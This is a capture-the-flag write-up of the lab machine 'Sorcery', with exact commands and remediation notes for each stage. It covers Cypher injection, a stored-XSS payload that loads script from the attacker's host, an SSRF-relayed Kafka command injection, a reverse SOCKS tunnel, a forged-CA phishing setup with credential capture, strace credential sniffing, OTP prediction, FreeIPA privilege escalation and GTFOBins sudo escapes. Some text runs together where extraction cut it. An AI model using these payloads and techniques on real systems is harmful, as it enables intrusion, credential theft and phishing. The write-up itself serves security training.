Sorcery
Summary
I chained a Neo4j Cypher injection in the sorcery.htb storefront to steal a hard-coded seller registration key, used a seller account to plant a stored-XSS payload that hijacked the site's automated admin browser and registered a rogue WebAuthn passkey for full admin rights, then abused an SSRF endpoint to hand-craft a Kafka message that the internal DNS container blindly executed as a shell command, gaining a foothold on the internal Docker networks. From there, anonymous FTP access yielded the site's root CA and private key, which was used to mint a trusted TLS certificate for a phishing domain and steal a Gitea user's credentials; a world-readable virtual display buffer then exposed a second, more privileged user's plaintext password.
That user's narrowly-scoped but abusable sudo rights (docker login plus strace) let me sniff a one-time-passcode credential helper in the clear, and reverse-engineering its weak, predictable OTP generator unlocked the internal Docker registry, an embedded FreeIPA credential, and finally an over-broad FreeIPA delegation that was used to add my account to the sysadmins group and the sudoers rule — yielding full root access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD10="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered, for rebecca_smith>"
export PASSWORD9="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"
export HEX_ID2="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets — <admin_passkey_jwt>, <hex-encoded-kafka-produce-frame>, <id>, <mailhog-host>, <new-product-action-id>, <pid>, <port_data-action-id>, <pwnlab_jwt>, <pwnseller_jwt>, <tun> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Confirm the vhost and app stack (nginx + Next.js).
$ curl -sk --resolve sorcery.htb:443:$TARGET https://sorcery.htb/ -D - -o sorcery_root.htmlFetch the register page and list its JS chunks.
$ curl -sk -H 'Host: sorcery.htb' https://$TARGET/auth/register -o sorcery_register.html && grep -oE 'src="[^"]+\.js[^" ]*"' sorcery_register.html | sed 's/src="//'Recover the Next-Action ID used by the register form.
$ curl -sk -H 'Host: sorcery.htb' https://$TARGET/_next/static/chunks/app/auth/register/page-3152cab5395e2127.js -o register-page.js && grep -aoE '[0-9a-f]{40}' register-page.jsRegister a baseline unprivileged (Client) account directly against the server action.
$ curl -sk -H 'Host: sorcery.htb' -H "Next-Action: $HEX_ID" -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["pwnlab","'"$PASSWORD4"'",""]' https://$TARGET/auth/registerMATCH (result: Product { id: "<id>" }) RETURN result. Closing the quote and appending UNION ALL with my own map broke out of the intended query. Because the app deserializes whatever the query returns as a Product, the injected map had to carry every Product field (id, name, description, is_authorized, created_by_id) even though the real target was the separate Config node holding the site's seller registration key.Exact commands 2
Injected product id (URL-decoded): x"} UNION ALL MATCH (c:Config) RETURN { id: "x", name: c.registration_key, description: "", is_authorized: true, created_by_id: "" } // — replace <pwnlab_jwt> with the login token from step 1.
$ curl -sk -H 'Host: sorcery.htb' -b 'token=<pwnlab_jwt>' "https://$TARGET/dashboard/store/x%22%7D%20UNION%20ALL%20MATCH%20(c%3AConfig)%20RETURN%20%7B%20id%3A%20%22x%22%2C%20name%3A%20c.registration_key%2C%20description%3A%20%22%22%2C%20is_authorized%3A%20true%2C%20created_by_id%3A%20%22%22%20%7D%20%2F%2F" -o cypher_config_response.htmlExtract the leaked registration key (UUID) rendered on the page.
$ grep -aoE '[0-9a-f-]{36}' cypher_config_response.htmlFixParameterize all Neo4j Cypher queriesCritical
MATCH (result:Product {id: $id}) RETURN result, executed with id as a bound parameter) instead of string formatting, and apply the same rule to every other Cypher query in the codebase.Exact commands 2
Register using the leaked registration key.
$ curl -sk -H 'Host: sorcery.htb' -H "Next-Action: $HEX_ID" -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["pwnseller","'"$PASSWORD9"'","'"$KEY"'"]' https://$TARGET/auth/register1 (Seller).
$ curl -sk -H 'Host: sorcery.htb' -H "Next-Action: $HEX_ID2" -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["pwnseller","'"$PASSWORD9"'"]' https://$TARGET/auth/loginFixStop granting privileged roles via a static, application-readable secretHigh
Exact commands 3
Serve the second-stage payload (passkey.js) and receive the admin bot's callback.
$ python3 -m http.server 8011Create a product whose description carries the XSS payload; replace <new-product-action-id> with the recovered Next-Action value and <tun> with my reachable IP.
$ curl -sk -H 'Host: sorcery.htb' -b 'token=<pwnseller_jwt>' -H 'Next-Action: <new-product-action-id>' -H 'Content-Type: text/plain;charset=UTF-8' --data-raw '["item","<img src=http://<tun>:8011/x.jpg onerror=\"var s=document.createElement('script');s.src='http://<tun>:8011/passkey.js';document.head.appendChild(s)\">",0]' https://$TARGET/dashboard/new-productFlask server implementing WebAuthn attestation that sets authData flags to UP|UV|AT (0x45); without UV the backend deserialization fails silently.
$ python3 webauthn_forge_server.py --flags 0x45FixSanitize product descriptions before rendering and constrain the admin review botCritical
bash -c, giving arbitrary command execution inside the container.Exact commands 3
Build/validate a real Kafka v0 PRODUCE frame (including CRC32) against a local test broker before sending it blind.
$ kcat -b 127.0.0.1:9092 -t update -P <<< 'id' -X debug=protocolRelay the crafted Kafka PRODUCE frame (hex) through the SSRF endpoint; message body is 'bash -c "<payload>"'.
$ curl -sk -H 'Host: sorcery.htb' -b 'token=<admin_passkey_jwt>' -H 'Next-Action: <port_data-action-id>' --data-raw '["kafka-broker.internal",9092,"<hex-encoded-kafka-produce-frame>"]' https://$TARGET/api/debug/port_dataOnce inside the DNS container, establish a reverse SOCKS tunnel to drive the rest of the attack via proxychains against internal-only hosts ($INTERNAL_HOST/16 and dc01.sorcery.htb).
$ chisel server -p 9001 --reverse & chisel client $ATTACKER_IP:9001 R:socksFixRemove the debug SSRF endpoint and stop executing consumed Kafka message bodiesCritical
Exact commands 5
Anonymous login; download certificates/generated/RootCA.crt and RootCA.key.
$ proxychains ftp $INTERNAL_HOST2Crack the CA private key passphrase (recovered: $PASSWORD10).
$ pem2john RootCA.key > rootca.hash && john --wordlist=/usr/share/wordlists/rockyou.txt rootca.hashSign a certificate for the phishing domain with the stolen, trusted CA.
$ openssl req -new -newkey rsa:2048 -nodes -keyout phishing.key -out phishing.csr -subj '/CN=phishing.sorcery.htb' && openssl x509 -req -in phishing.csr -CA RootCA.crt -CAkey RootCA.key -CAcreateserial -out phishing.crt -days 365 && cat phishing.key phishing.crt > phishing.pemTerminate TLS with the forged-but-trusted cert and reverse-proxy to the real Gitea to capture the login POST.
$ proxychains mitmdump --mode reverse:https://git.sorcery.htb --certs '*=phishing.pem' -p 443Send the phishing email pointing at my own, CA-trusted host.
$ swaks --to victim@sorcery.htb --from it-support@sorcery.htb --server <mailhog-host> --body 'Please review: https://phishing.sorcery.htb/user/login'FixDisable anonymous FTP and never store private keys on a shared file serviceCritical
Exact commands 2
Confirm mousepad has passwords.txt open under the target session.
$ ps uxww | grep tom_summers_adminConvert the raw BGRX framebuffer dump to a viewable PNG to read the on-screen password.
$ python3 -c "from PIL import Image; d=open('/xorg/xvfb/Xvfb_screen0','rb').read(); Image.frombytes('RGBX',(512,256),d).convert('RGB').save('screen.png')"FixRestrict access to virtual display framebuffer devicesHigh
sudo -l allowed only /usr/bin/docker login and /usr/bin/strace — individually narrow, but together enough to intercept secrets. Running docker login triggers a docker-credential-docker-auth helper process; attaching strace to it while a login ran captured the credentials in the clear. That helper turned out to be a .NET binary; decompiling it showed its one-time passcode was generated with new Random(i + user_id) for i in 0..5 — with rebecca_smith's user_id known to be 2003, only six possible codes existed for any ~6-minute window.Exact commands 9
As tom_summers_admin: confirm NOPASSWD entries for /usr/bin/docker login and /usr/bin/strace.
$ sudo -lTrigger the credential helper in the background.
$ sudo /usr/bin/docker login 127.0.0.1:5000 &Find the helper's PID.
$ pgrep -f docker-credential-docker-authTrace the helper's syscalls; the plaintext credential and OTP flow through argv/read buffers.
$ sudo /usr/bin/strace -f -s 128 -p <pid>Decompile the .NET credential helper to recover the OTP algorithm: new Random(i + user_id).
$ ilspycmd docker-credential-docker-auth.dll -o decompiled/Generate all six possible OTPs for the current ~6-minute window (rebecca_smith, user_id 2003).
$ python3 -c "import random; uid=2003;\nfor i in range(6): random.seed(i+uid); print(random.randint(100000,999999))"Authenticate to the internal registry with password+OTP concatenated; try each of the 6 candidate codes.
$ docker login 127.0.0.1:5000 -u rebecca_smith -p "$PASSWORD6<OTP>"DockerRegistryGrabber: pull and extract the image layers without a full docker pull.
$ python3 drg.py --registry 127.0.0.1:5000 --image test-domain-workstation --dumpLocate docker-entrypoint.sh's ipa-client-install line, which carries the next credential (donna_adams).
$ grep -R 'ipa-client-install' extracted-layers/FixTighten sudo GTFOBins-abusable rules and fix the OTP generator's weak PRNG seedCritical
RandomNumberGenerator/CSPRNG) never seeded from a predictable or an unauthorised user-known value.sudo -s produced a root shell.Exact commands 8
Authenticate to FreeIPA with the credential recovered from the Docker image.
$ kinit donna_adamsReset ash_winter's password using donna_adams's delegated write access to userPassword.
$ ipa user-mod ash_winter --passwordLog in as ash_winter; first login forces a password change.
$ ssh ash_winter@$TARGETAdd ash_winter to the sysadmins group using their own add_sysadmin-scoped delegation.
$ ipa group-add-member sysadmins --users=ash_winterAdd ash_winter as a member of the existing allow_sudo sudo rule (Host/Command/RunAs category: all).
$ ipa sudorule-add-user allow_sudo --users=ash_winterForce SSSD to drop its cached (pre-escalation) group/sudo membership; NOPASSWD, so this works before the new sudo rights are visible.
$ sudo /usr/bin/systemctl restart sssdReconnect and confirm sudo now applies; drop to a root shell and prove access with id (uid=0).
$ ssh ash_winter@$TARGET 'sudo -l && sudo -s && id'Read the root flag -> <root.txt>
$ cat /root/root.txtFixApply least-privilege FreeIPA delegation and invalidate SSSD cache on privilege changesCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.